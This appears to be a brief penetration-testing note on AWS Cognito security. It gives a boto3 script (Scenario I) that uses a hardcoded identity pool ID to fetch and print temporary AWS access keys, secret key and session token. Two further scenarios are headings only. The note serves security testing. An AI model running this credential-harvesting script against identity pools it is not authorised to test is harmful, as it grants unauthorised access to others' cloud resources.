Cognito - Security
Senario I - IdentityPoolId everywhere
import boto3
#Region where CognitoID is located
region='us-east-2'
#The CognitoID for fedrated identity provider
identity_pool_id='us-east-2:aac74edd-4d2c-4b8a-bb87-2064fc9ccd5b'
client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool_id)['IdentityId']
credentials = client.get_credentials_for_identity(IdentityId=_id)
print("Access Key: " + credentials['Credentials']['AccessKeyId'])
print("Secret Key: " + credentials['Credentials']['SecretKey'])
print("Session Token: " + credentials['Credentials']['SessionToken'])Senario II - Authenticated Fedrated Identity Leaked

Senario III - Leaked Access Tokens

Last updated